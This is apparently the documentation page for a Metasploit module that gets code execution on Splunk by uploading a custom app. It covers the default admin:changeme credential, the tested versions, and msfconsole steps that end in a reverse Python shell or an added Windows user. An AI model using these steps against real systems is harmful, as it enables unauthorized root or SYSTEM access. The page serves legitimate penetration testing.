## Vulnerable Application

This module exploits a feature of Splunk whereby a custom application can be
uploaded through the web based interface. Through the `script` search command a
user can call commands defined in their custom application which includes arbitrary
perl or python code. To abuse this behavior, a valid Splunk user with the admin
role is required. By default, this module uses the credential of "admin:changeme",
the default Administrator credential for Splunk.
Note that the Splunk web interface runs as SYSTEM on Windows, or as root on Linux by default.
This module has been tested successfully against:

* 5.0 ([Ubuntu 10.04](https://github.com/rapid7/metasploit-framework/pull/1138#issue-3277564), [Windows XP and Windows Server 2003 SP2](https://github.com/rapid7/metasploit-framework/pull/1138#issue-3277564) with splunk-5.0.1-143156)
* 6.1, 6.1.1
* 7.2.4 (OSX 10.14.3, Windows 10 10.0.17134.1, CentOS7 3.10.0-957.1.3.el7.x86_64)

## Verification Steps

1. Start msfconsole
2. Do: ```use exploit/multi/http/splunk_upload_app_exec```
3. Set required variables (you will need admin credentials)
4. Do: ```SET LHOST [ip]```
5. Do: ```SET RHOST [ip]```
6. Set a payload:
* If targeting linux or macos the payload ```cmd/unix/reverse_python``` will be automatically selected.
* If targeting windows the payload ```cmd/windows/adduser``` will be automatically selected.

7. You should get either a reverse shell on port 4444 via the predefined handler (Linux/OSX) or a new user in case (windows target)

## Options

**EnableOverwrite**
Overwrites an app of the same name. Needed if you change the app code in the tgz.
Default is `false`

**USERNAME**
Username for Splunk. Default is `admin`

**PASSWORD**
Default is `changeme`
